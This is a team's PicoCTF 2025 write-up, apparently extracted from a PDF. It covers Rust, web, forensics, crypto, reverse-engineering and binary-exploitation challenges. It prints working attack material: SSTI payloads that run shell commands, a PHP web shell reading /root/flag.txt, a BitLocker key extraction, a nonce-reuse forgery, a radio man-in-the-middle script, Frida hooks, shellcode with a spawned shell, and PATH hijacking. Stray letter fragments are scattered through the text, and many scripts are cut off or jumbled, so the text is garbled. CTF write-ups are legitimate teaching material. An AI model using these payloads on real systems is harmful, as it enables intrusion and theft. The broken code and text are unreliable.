PicoCTF 2025 WriteUps
PicoCTF 2025 WriteUps
C
SE PicoCTF 2025 Writeups
BJ
- Rust Fixme 1 3
Corrections: 4
- Rust Fixme 2 5
Corrections: 7
- Rust Fixme 3 9
- YaraRules0x100 13
C
- SSTI1 17
- n0s4n1ty 1 19
- Cookie Monster Secret Recipe 21
- head-dump 22
- SSTI2
- 3v@l
SE 24
26
- Apriti Sesamo 29
- WebSockFish 32
- Bitlocker 2 34
- Flags are stepic 35
- RED 36
- hashcrack 38
- EVEN RSA CAN BE BROKEN??? 43
BJ
C
SE
BJ
- Rust Fixme 1
C
SE
We are given a rust code with some eros in the main.py
use xor_cryptor::XORCryptor;
fn main() {
// Key for decryption
let key = String::from("CSUCKS") // How do we end statements in Rust?
BJ
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
C
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!(
":?", // How do we print out a variable in the println function?
String::from_utf8_lossy(&decrypted_buffer)
}
);
SE
Corrections:
1. Semicolon Missing: In Rust, statements are terminated with a semicolon (;), so we
BJ
C
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
// Create decryption object
if res.is_err() {
SE
let res = XORCryptor::new(&key);
printing a variable
}
C
For now the main.py looks like :
SE
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values
to a function that we want to change?
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
C
"25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];
// Convert the hexadecimal strings to bytes and collect them into a vector
SE
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
Corrections:
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) { // Use &mut to
allow modification
C
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
SE
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
C
// Pass mutable reference to the function
decrypt(encrypted_buffer, &mut party_foul);
}
SE
Compiling and running give us the flag.
BJ
- Rust Fixme 3
use xor_cryptor::XORCryptor;
C
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
if res.is_err() {
return;
SE
let res = XORCryptor::new(&key);
}
let xrc = res.unwrap();
// Even though we have these memory safe languages, sometimes we need to do things
outside of the rules
// This is where unsafe rust comes in, something that is important to know about in order to
keep things in perspective
// unsafe {
// Decrypt the flag operations
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
// Creating a pointer
let decrypted_ptr = decrypted_buffer.as_ptr();
borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
// }
println!("{}", borrowed_string);
}
C
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01",
SE
"35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9", "35"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
The code provided is almost correct, but there are a few small fixes that need to be
made to make it work properly. The fixes are mainly related to the use of unsafe, which
isn't needed here, and the handling of references in the decrypt function.
Here is the correct code.
C
let res = XORCryptor::new(&key);
if res.is_err() {
return;
}
SE
let xrc = res.unwrap();
}
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1",
"01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9",
"35"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
C
- YaraRules0x100 SE
In this challenge, we were provided with a suspicious executable file found on
an employee's Windows PC. The file managed to bypass our Intrusion Detection
Systems (IDS), indicating it might be a new or unknown threat. Our task was to
analyze the file and create YARA rules to detect it in the future.
First, we downloaded the zip file , then extracted it and saw it was a windows
executable file. After that we took a view at the strings inside the file with the
BJ
strings command.
The first understanding that comes to our mind is to build rules based on some specific
content of the file like specific strings, function names, file size, file hash ..etc Based on
all that and after many tries we finally found the right rules to pass all the checks.
- SSTI1
C
SE
The challenge title oriented us on which type of vulnerability will be exploited here :
Server Side Template Injection
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
And we got :
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
C
- n0s4n1ty 1
SE
BJ
<?php
// Command to securely read the flag from /root/flag.txt
$command = 'sudo cat /root/flag.txt 2>&1';
$flag = shell_exec($command);
BJ
SE
BJ
This is just a basic web challenge. Accessing the web page shows a login form,
trying to lo gin with any credentials returns :
picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB}
- head-dump
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\
BJ
x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')(
'os')|attr('popen')('cat flag')|attr('read')()}}
And we got :
C
SE
BJ
We are given a web page where we can make calculations. The function used here is
eval. So we should escape in order to read the flag.
We just used :
C
SE
Here is the website interface which have a login page but we can’t login even
trying sqli and others techniques. Then we went back to hints, by reading them
BJ
we should find backup files files related to emacs users backup. After some
researches, we found that emacs create backups files by adding a tilde at the
end. So we add the ~ to the impossibleLogin.php~ and found a php code by
reading source code of the page.
C
SE
The code take the username and the password submitted by the post request
and if the two values are different but have the same sha1 hash we can login. So
BJ
C
SE
BJ
The web app is implementing a chess game using sockfish. Looking to the Network tab
of developper tools or into the source code we can see the app is using websockets to
manage the state of the game. So the path is not to think as chess player but to think as
a hacker so as to use a crafted websocket request to make the fish give up. To do that
we sent an eval request with a high negative number and boom the flag is ours.
C
SE
BJ
The chall is all about using the bitlocker.py plugin with volatility
2. So you should adapt your system to be using python 2.
The steps :
C
└─$ mkdir thekey
└─$ python2 volatility/vol.py -f memdump.mem bitlocker
SE
--profile=Win10x64_19041 --dislocker thekey
└─$ cd thekey
└─$ cp 0x40d857c90-Dislocker.fvek key1.txt
└─$ sudo dislocker -V bitlocker-2.dd -k thekey/key1.txt -p TOTY
Enter the recovery password: XXXXXX-XXXXXX-XXXXXX-XXXXXX-
XXXXXX-XXXXXX-XXXXXX-XXXXXX
BJ
C
- Flags are stepic
SE
BJ
We are given a website showing different countries with their flags. By take a closer look
we identified a non country :
C
SE
BJ
- RED
C
- hashcrack
SE
BJ
C
SE
This later helped us know how to write a script so as to get
the proposed hash, crack it and send the result back to the
server.
BJ
JTR_path = r"G:\_tooling_\JohnTheRipper\run\john.exe"
JTR_pot_path = r"G:\_tooling_\JohnTheRipper\run\john.pot"
wordlist_path = r"G:\_tooling_\rockyou.txt"
hash_length_rship = {128//4: "raw-md5", 160//4: "raw-sha1", 224//4: "raw-sha224",
C
256//4: "raw-sha256", 384//4: "raw-sha384", 512//4: "raw-sha512"} # binding hash
hexadecimal length to hash format
def crackHash(hash_value):
try:
SE
hash_format = hash_length_rship[len(hash_value)] # getting hash format
fname ="hashcrack-current-hash.txt"; open(fname, "w").write(hash_value) #
creating file to store hash value
os.remove(JTR_pot_path) # deleting json.pot so as to let JTR give the cracked
pssword in the output
JTR_results = subprocess.run(f"{JTR_path} --wordlist={wordlist_path}
--format={hash_format} {fname}".split(), capture_output=True, text=True)# triggering
BJ
for i in range(3):
print(conn.recvuntil(b"hash: ")[:-1].decode()); current_hash =
conn.recvline()[:-1].decode() # getting hash value from instance
cracked_hash_password = crackHash(current_hash); print(f"Cracked password :
{current_hash} <=> {cracked_hash_password}") # cracking the password bound to
that hash value
print(conn.recvuntil(b"identified hash: ")[:-1].decode());
C
conn.sendline(cracked_hash_password.encode()) # sending the cracked password
to the server instance
SE
conn.recvuntil(b"The flag is: ")
flag = conn.recvline()[:-1].decode()
print(f"\n\n{flag = }")
conn.close()
C
SE
Reading Comprehension: While reading the challenge
description and taking a closer look at hint 3 and the provided
file (encrypt.py), we realized that randomness on instance is not
at all very secure.
BJ
import sys
from math import gcd
from pwn import remote
from Crypto.Util.number import isPrime, long_to_bytes
C
PORT = int(sys.argv[1]) SE
def getDatas(): # function to gather informations from the challenge instance
conn = remote("verbal-sleep.picoctf.net", PORT)
data = conn.recvall().decode()[:-1].split("\n")
conn.close()
return data
e = int(first[1].split()[-1])
c = int(first[2].split()[-1])
print(f"{N = }")
print(f"{e = }")
print(f"{c = }")
while True:
N_other = int(getDatas()[0].split()[-1]) # collecting N accross multing requests/instances
common = gcd(N, N_other) # looking for a possible shared factor
if common != 1: # greater than 1
C
SE
BJ
But the main trick here is to figure out what kind of cipher is used
???
Hopefully, the hint provided helped us get more grips with that.
C
There were some keywords such as affinity, linear equations that
lead us to affine cipher, which was the one used server-side.
SE
We googled it so as to better understand its inner process.
BJ
C
recover the cipher used server-side. Fortunately, the instance
allowed us to encrypt a cheese of our choice. So we made
abuse of that so as to recover a and b.
SE
BJ
PORT = int(sys.argv[1])
C
return alphabet[((alphabet.index(char) - b) * pow(a, -1, 26)) % 26]
C
conn.sendline(b"g")
print(conn.recvuntil(b"So...what's my cheese?\n"))
conn.sendline(unecrypted_cheese.encode())
SE
print(conn.recvall().decode()) # getting flag
conn.close()
C
SE
Reading Comprehension:
You have a target SHA-256 hash and a list of cheese names. The aim is to find which
combination of cheese name and salt value (ranging from 0 to 255) generates the
target hash.
Resolution Steps
First, I downloaded the list of cheeses file and then started the challenge instance.
BJ
With the -g option, which asks us to guess the cheese, I wrote a Python script to find the
C
SE
BJ
And bingo! We got the flag.
We confirmed that our cheese is Abertam and our salt is 67.
C
SE
Reading Comprehension: Reading the challenge and taking a
BJ
closer look at the given file (challenge.py), it was clear that this
challenge was about ciphertext forgery attack.
C
For a running instance, we remarked that the key and nonce
are reused every time ChaCha20_Poly1035 is called and that
eases our exploit.
SE
One other great help is that the challenge provided us with two
plaintexts and their corresponding ciphertexts and tags, and the
reused nonce.
BJ
C
- to forge the corresponding ciphertext, we have to
SE
understand ChaCha20 a bit
ChaCha20(key, nonce) computes a stream key from key
and nonce and xor it to plaintext messages so as to produce
ciphertexts. Cause key and nonce are reused all over an
instance, that stream key is same for all ciphers generated.
So, we have K which is a stream key generated from
ChaCha20(key, nonce) and C1 = K xor P1, C2 = K xor P2.
BJ
C
PORT = int(sys.argv[1])
SE
conn = remote("activist-birds.picoctf.net", PORT) # connect to the instance
def split_return(message_enc): # used to retrieve insights from data sent by the server
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
BJ
nonce = message_enc[-12:]
return ciphertext, nonce, tag
user = b"But it's only secure if used correctly! what about you ?" # forged plaintext
C
print(f"{c1 = }")
print(f"{t1 = }")
print(f"{c2 = }")
print(f"{t2 = }")
SE
print(f"nonce = {n1}")
conn.interactive()
C
def split_return(message_enc):
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
SE
nonce = message_enc[-12:]
return ciphertext, nonce, tag
if __name__ == "__main__":
p1 = b'Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?'
c1 =
b'{|\x86\xbb1s\x86d\x07a\x0b(\x00Xd\xa5\x1e\x87\xec``\x97\x9e*\xe0.\xef\xdb\xb7\
BJ
x10\x96\xfa\xbe\xfb\x80S\x8b\x0e9\xcal\x87\x00yT\xa4\xb8\xbbr\x1cy\x89H=zd~\xa2\
xaf\x18UG5T\xbf\xa0R\xbc\xd6n-\xcar\x9f1\x80\xd9'
t1 = b'J\xed\xfd\x02JU\x8au5$\xb3$\xe8\x86\xd2-'
c2 =
b'k}\x83\xefhq\x96%\x02|D6T\x0c|\xb6\x05\xd3\xcaku\xa7\xd6)\xbdj\xaa\xab\xac\x
14\x8a\xeb\xee\xa4\xdb\x15\x8b\x19|\xc5v\xce\x00`I\xb8\xa4\xf5g\x1b~\xc8U6j!|\x
be\xa5\x1eU\x17.[\xf0\xaa\x13\xa9\xdb('
t2 = b'\x8f\xa0b\xef\xe7\x8f\xfe\xc3W\xea\xb2R\xc4\xea\xc2\xae'
nonce = b'\x94\xa6\xc4\xa9\rlN\xb1\xd1$\x021'
a1 = a2 = b""
C
target_ct = forges[0][0]
target_tag = forges[0][-1]
print(f"forges = {target_tag}")
SE
print((target_ct + target_tag + nonce).hex())
C
SE
BJ
C
SE
BJ
This took us more time to solve. But after many trials and errors,
we finally got it.
How do we proceed ?
- After reading the description and the hint, all over again,
we firstly try to figure out a path which will take the bot to
the flag and it was :
-
For that we write down a custom function above;
C
- Also,
SE
both sides are using authenticity_key
shared_hmac_key. We tried to brute force it but nothing good
and
controllers. We wrote a script for that and saved the output into
plainrecovered.txt.
# import monocypher
import requests
# import crypto
import os
import sys
import time
import monocypher
from pwn import xor
C
return messages SE
def inject_radio_message(message):
requests.post(SERVER_URL+"/radio_tx", json=message)
def start_robot():
requests.get(SERVER_URL+"/start")
def stop_robot():
requests.get(SERVER_URL+"/stop")
BJ
def get_board_state():
return requests.get(SERVER_URL+"/state").json()
# cryptographic functions
def hmac_and_encrypt(msg_with_hmac, nonce, dh_key_shared):
tag, ciphertext = monocypher.lock(dh_key_shared, nonce, msg_with_hmac)
return ciphertext.hex() + ";" + tag.hex() + ";" + nonce.hex()
C
# constant variables
def set_global_variables():
global sniffer_robot_dh_key_shared, dh_key_priv, robot_address, sniffer_address,
robot_public_key,
new_controller_address,
SE
sniffer_public_key,
challenge,
controller_public_key,
challenge_response,
controller_address,
sniffer_robot_encrypt_key,
sniffer_controller_encrypt_key, crypted_s
crypted_s = []
dh_key_priv = os.urandom(32)
robot_address = 0x20
sniffer_address = 0x12
controller_address = 0x10
BJ
sniffer_public_key = monocypher.compute_key_exchange_public_key(dh_key_priv).hex()
new_controller_address = 0x13
C
# send challenge_response back to robot
inject_radio_message({"msg_type": "ack_validate", "src": controller_address, "dst":
robot_address, "response": challenge_response})
SE
# setting shared key between robot and sniffer
def compute_keys_robot_sniffer():
global robot_public_key, sniffer_public_key, dh_key_shared, encrypt_key,
sniffer_robot_encrypt_key
robot_public_key = receive_radio_messages()[-1]['key']
inject_radio_message({"msg_type": "ack_key_exchange", "src": controller_address, "dst":
robot_address, "key": sniffer_public_key})
BJ
sniffer_robot_dh_key_shared = monocypher.key_exchange(dh_key_priv,
bytes.fromhex(robot_public_key))
sniffer_robot_encrypt_key = monocypher.blake2b(sniffer_robot_dh_key_shared)[:32]
C
message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
SE
# treating each case
if message['msg_type'] == 'secure_data':
crypted_s.append(grabbed := tamper(ciphertext, nonce,
sniffer_robot_encrypt_key))
inject_radio_message({"msg_type": "secure_data", "src": sniffer_address, "dst":
new_controller_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_controller_encrypt_key)})
elif message['msg_type'] == 'secure_data_ack':
BJ
C
# execution_stack
set_global_variables()
SE
change_real_controller_address()
compute_keys_sniffer_controller()
solve_robot_challenge()
compute_keys_robot_sniffer()
print(f"{sniffer_robot_encrypt_key = }")
print(f"{sniffer_controller_encrypt_key = }")
exfiltrate()
print(f"{crypted_s = }")
BJ
open("plainrecovered.txt", "w").write("\n".join(crypted_s))
stop_robot()
PORT = int(sys.argv[1])
C
SERVER_URL = f"http://activist-birds.picoctf.net:{PORT}/"
return messages
BJ
def inject_radio_message(message):
requests.post(SERVER_URL+"/radio_tx", json=message)
def start_robot():
requests.get(SERVER_URL+"/start")
def stop_robot():
requests.get(SERVER_URL+"/stop")
def get_board_state():
return requests.get(SERVER_URL+"/state").json()
C
def tamper(ciphertext0, nonce, encrypt_key):
_, ciphertext1 = monocypher.lock(encrypt_key, nonce, bytes(1000))
# tag, ciphertext2 = monocypher.lock(key, nonce, message.encode())
SE
return xor(bytes(128), ciphertext1, ciphertext0)[:len(ciphertext0)].decode()
# constant variables
def set_global_variables():
global sniffer_robot_dh_key_shared, dh_key_priv, robot_address, sniffer_address,
robot_public_key, sniffer_public_key, controller_public_key, controller_address,
new_controller_address, challenge, challenge_response, sniffer_robot_encrypt_key,
sniffer_controller_encrypt_key, crypted_s
C
global sniffer_address, controller_address, new_controller_address
inject_radio_message({"msg_type": "ping", "src": sniffer_address, "dst": controller_address})
receive_radio_messages()
SE
inject_radio_message({"msg_type": "set_addr",
controller_address, "new_addr": new_controller_address})
"src": sniffer_address, "dst":
receive_radio_messages()
challenge = receive_radio_messages()[-1]['challenge']
# get challenge response from controller
inject_radio_message({"msg_type": "validate", "src": sniffer_address, "dst":
new_controller_address, "challenge": challenge})
challenge_response = receive_radio_messages()[-1]['response']
# send challenge_response back to robot
inject_radio_message({"msg_type": "ack_validate", "src": controller_address, "dst":
robot_address, "response": challenge_response})
C
def compute_keys_sniffer_controller():
global controller_public_key, sniffer_controller_dh_key_shared,
sniffer_controller_encrypt_key
SE
inject_radio_message({"msg_type": "key_exchange", "src": sniffer_address, "dst":
new_controller_address, "key": sniffer_public_key})
controller_public_key = receive_radio_messages()[-1]['key']
sniffer_controller_dh_key_shared = monocypher.key_exchange(dh_key_priv,
bytes.fromhex(controller_public_key))
sniffer_controller_encrypt_key =
monocypher.blake2b(sniffer_controller_dh_key_shared)[:32]
BJ
C
sniffer_robot_encrypt_key))
print(f"{grabbed = }")
if step in [0, 4, 10, 16, 22, 28, 34]:
sniffer_robot_encrypt_key)
SE toSend = hmac_and_encrypt(empty_messages[step], nonce,
# execution_stack
set_global_variables()
change_real_controller_address()
compute_keys_sniffer_controller()
solve_robot_challenge()
compute_keys_robot_sniffer()
print(f"{sniffer_robot_encrypt_key = }")
C
print(f"{sniffer_controller_encrypt_key = }")
exfiltrate()
print(f"{crypted_s = }")
message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
message['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(ciphertext, nonce, sniffer_controller_encrypt_key))
inject_radio_message({"msg_type": "secure_data_ack", "src": controller_address, "dst":
robot_address, "encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
sniffer_robot_encrypt_key)})
message = receive_radio_messages()[-1]
ciphertext, tag, nonce = [bytes.fromhex(hex_data) for hex_data in
C
message['encrypted'].split(';')]
crypted_s.append(grabbed := tamper(ciphertext, nonce, sniffer_controller_encrypt_key))
inject_radio_message({"msg_type": "secure_data_response", "src": controller_address,
"dst": robot_address,
sniffer_robot_encrypt_key)})
SE"encrypted": hmac_and_encrypt(grabbed.encode(), nonce,
stop_robot()
Flag Hunters
C
SE
BJ
A very easy chall. After analysis, just Hitting : ;RETURN 0; give us the
flag
Flag: picoCTF{70637h3r_f0r3v3r_62666df2}
C
SE
BJ
def hex_to_char(hex_val):
return chr(int(hex_val, 16))
def reconstruct_flag_from_structure(scrambled):
flag_hex = []
flag = reconstruct_flag_from_structure(scrambled)
print(flag)
C
Flag: picoCTF{python_is_weird9ece5f24}
SE
BJ
C
SE
import hashlib
import time
import base64
BJ
class Block:
def __init__(self, index, previous_hash, timestamp, encoded_transactions, nonce):
self.index = index
self.previous_hash = previous_hash
self.timestamp = timestamp
self.encoded_transactions = encoded_transactions
self.nonce = nonce
def calculate_hash(self):
C
plaintext = b''
return plaintext.decode('utf-8')
BJ
def find_flag(decrypted_text):
genesis_block = Block(0, "0", 0, "EncodedGenesisBlock", 0)
blockchain = [genesis_block]
fake_timestamp = 1000000
genesis_block.timestamp = fake_timestamp
for i in range(1, 5):
encoded_transactions = base64.b64encode(
f"Transaction_{i}".encode()).decode('utf-8')
index = blockchain[-1].index + 1
previous_hash = blockchain[-1].calculate_hash()
blockchain.append(new_block)
C
blockchain_string = "-".join([block.calculate_hash() for block in blockchain])
midpoint = len(blockchain_string) // 2
SE
first_half = blockchain_string[:midpoint]
second_half = blockchain_string[midpoint:]
first_half_end = decrypted_text.find(first_half) + len(first_half)
second_half_start = decrypted_text.find(second_half, first_half_end)
flag = decrypted_text[first_half_end:second_half_start]
return flag
BJ
C
8c\xca\xc5\x17jRv@L\xb9
\xc7\xcd4.\x97\x80\x9d\x90\x17kR"\x15\x1e\xeeu\xc7\x9dd\x15\xa1'
SE
try:
decrypted_text = decrypt(encrypted_blockchain, key)
print("Decrypted text:", decrypted_text)
import re
flag_match = re.search(r'picoCTF{.*?}', decrypted_text)
if flag_match:
print("Flag found:", flag_match.group(0))
BJ
else:
flag = find_flag(decrypted_text)
print("Extracted flag:", flag)
except Exception as e:
print(f"Error: {e}")
try:
plaintext = b''
key_hash = hashlib.sha256(key).digest()
C
Flag:
SE
picoCTF{block_3SRhViRbT1qcX_XUjM0r49cH_qCzmJZzBK_8bb7bc38}
Perplexed
BJ
password = bytearray(27)
char_index, bit_index = 0, 0
for i in range(0x17):
for j in range(8):
if bit_index == 0:
bit_index = 1
bit_index += 1
if bit_index == 8:
bit_index = 0
C
char_index += 1
if char_index >= len(password):
break
SE
return password.decode('ascii', errors='replace')
print(solve_password_corrected())
Flag: picoCTF{0n3_bi7_4t_a_7im3}
BJ
Binary instrumentation 1
The purpose of this challenge is instrumenting the binary sleep call to get the flag in a
shorter time than the one defined ( around 136 years ). Let’s go, I will be straight !
defineHandler({
C
onLeave(log, retval, state) {
log("Sleep finished");
}
SE
});
retrace sleep call with:
frida-trace -i "Sleep" -f bininst1.exe
and voilà, we got our first flag
BJ
……
C
SE
BJ
After some try and fail, trying to modify and adapt the createfile and writefile call, I
finally created a custom file to do the job.
it’s content:
C
const newPathPtr = Memory.allocAnsiString(newPath);
args[0] = newPathPtr;
console.log(`[*] New path: "${newPath}"`);
},
}
SE
onLeave: function(retval) {
console.log(`[+] CreateFileA returned handle: 0x${retval.toString(16)}`);
if (retval.compare(ptr(-1)) !== 0) {
console.log("[+] Successfully created file!");
BJ
this.validHandle = retval;
} else {
console.log("[!] File creation failed");
}
}
});
Interceptor.attach(Module.getExportByName(null, 'WriteFile'), {
onEnter: function(args) {
this.handle = args[0];
if (this.buffer) {
try {
C
for (let size of [this.size, 32, 64, 128, 256, 512]) {
if (size <= 0) continue;
SE
try {
const data = Memory.readByteArray(this.buffer, size);
console.log(`[+] Buffer content (size=${size}):`);
console.log(hexdump(data));
try {
const ascii = Memory.readCString(this.buffer);
BJ
try {
const utf16 = Memory.readUtf16String(this.buffer);
if (utf16 && utf16.length > 3) {
console.log(`[!!! POTENTIAL FLAG (UTF-16) !!!] "${utf16}"`);
}
} catch (e) {}
C
}
break;
} catch (e) {
SE
continue;
}
}
} catch (e) {
console.log(`[!] Error reading buffer: ${e}`);
}
BJ
}
},
onLeave: function(retval) {
console.log(`[+] WriteFile returned: ${retval}`);
}
});
try {
Interceptor.attach(Module.getExportByName("ntdll.dll", "NtWriteFile"), {
onEnter: function(args) {
if (args[6].toInt32() > 0) {
const size = args[6].toInt32();
console.log(`[+] NtWriteFile called with size: ${size}`);
try {
const data = Memory.readByteArray(this.buffer, size);
C
console.log("[+] NtWriteFile buffer content:");
console.log(hexdump(data));
SE
try {
strFunctions.forEach(funcName => {
try {
Interceptor.attach(Module.getExportByName(null, funcName), {
onEnter: function(args) {
C
console.log(`[+] ${funcName} called`);
SE
if (funcName.includes('cpy')) {
if (funcName.includes('wcs')) {
const utf16 = Memory.readUtf16String(src);
if (utf16 && utf16.length > 3) {
console.log(`[!!! ${funcName} SOURCE (UTF-16) !!!] "${utf16}"`);
}
}
} catch (e) {}
}
else if (funcName.includes('printf')) {
if (args[2]) {
try {
const arg2 = Memory.readCString(args[2]);
if (arg2 && arg2.length > 3) {
C
console.log(`[!!! ${funcName} ARG2 !!!] "${arg2}"`);
}
} catch (e) {}
}
} catch (e) {}
SE
}
}
});
} catch (e) {
console.log(`[!] Could not hook ${funcName}: ${e.message}`);
}
BJ
});
C
} catch (e) {
console.log(`[!] Could not hook CreateFileW: ${e.message}`);
}
trace it with
SE
frida -f bininst2.exe -l soluce.js
and we got the flag picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}
BJ
C
SE
Reading the challenge description and taking a closer look at
BJ
C
time.time() client side and just add or subtract some integers to
it so as to guess the correct seed.
But the difficult part is that the server compute [int(time.time() *
SE
1000)] and not [int(time.time()] and [int(time.time() * 1000)] has
a higher variation rate than [int(time.time()]. Look at the picture
below so as to better understand it.
BJ
C
#!/usr/bin/env python3
C
print("FLAG is =>", conn.recvline().decode())
break
elif "exhausted" in output:
break
elif "Sorry" in output:
SE
conn.recvuntil(b"Enter your guess for the token (or exit):").decode()
conn.close()
C
#p = remote('shape-facility.picoctf.net', 4444)
shellcode = asm('''
xor rsi, rsi
push 0
pop rax
SE
xor rdi, rdi
mov rsi, rsp
push 0x64
pop rdx
syscall
jmp rsp
BJ
''')
newshellcode = asm('''
sub rax, 716
jmp rax
jmp rax
''')
p.sendlineafter(b'app', b'1')
p.sendlineafter(b'name:', b'name')
payload = newshellcode
payload += asm('nop') * (20 - len(payload))
payload += p64(0x401014)
p.sendlineafter(b'app', b'3')
p.sendlineafter(b'it:', payload)
C
p.sendline(asm(shellcraft.sh()))
p.interactive() SE
Flag : picoCTF{p1v0ted_ftw_8ff634bd}
Hash Only 1
The steps
C
Connection to shape-facility.picoctf.net closed.
Flag : picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_0c1fd083}
Hash Only 2
SE
It is the same bin as the one in Hash only 1, just some basic system
hardening added
The steps:
BJ
C
flaghasher md5sum
bash-5.0$ chmod +x md5sum
bash-5.0$ mkdir /tmp/exploit_path
SE
bash-5.0$ mv md5sum /tmp/exploit_path/
bash-5.0$ export PATH=/tmp/exploit_path:$PATH
bash-5.0$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9bde33ed}bash-5.0$
Connection to rescued-float.picoctf.net closed by remote host.
Connection to rescued-float.picoctf.net closed.
BJ
Flag: picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_9bde33ed}
Pie time
PIE is a security feature that randomizes the base address of an executable in memory
when it runs. This makes it more difficult for attackers to predict the location of specific
functions or instructions. However, this challenge demonstrates how relative offsets
between functions remain constant, which can be exploited.
1. There's a win() function that reads and prints the flag file
2. The main() function leaks its own address through printf("Address of main: %p\n",
&main);
The vulnerability is that we can calculate the address of the win() function using the
leaked address of main() and the relative offset between these two functions
C
# Connect to the remote server
conn = remote('rescued-float.picoctf.net', 54726)
conn.close()
C
SE
BJ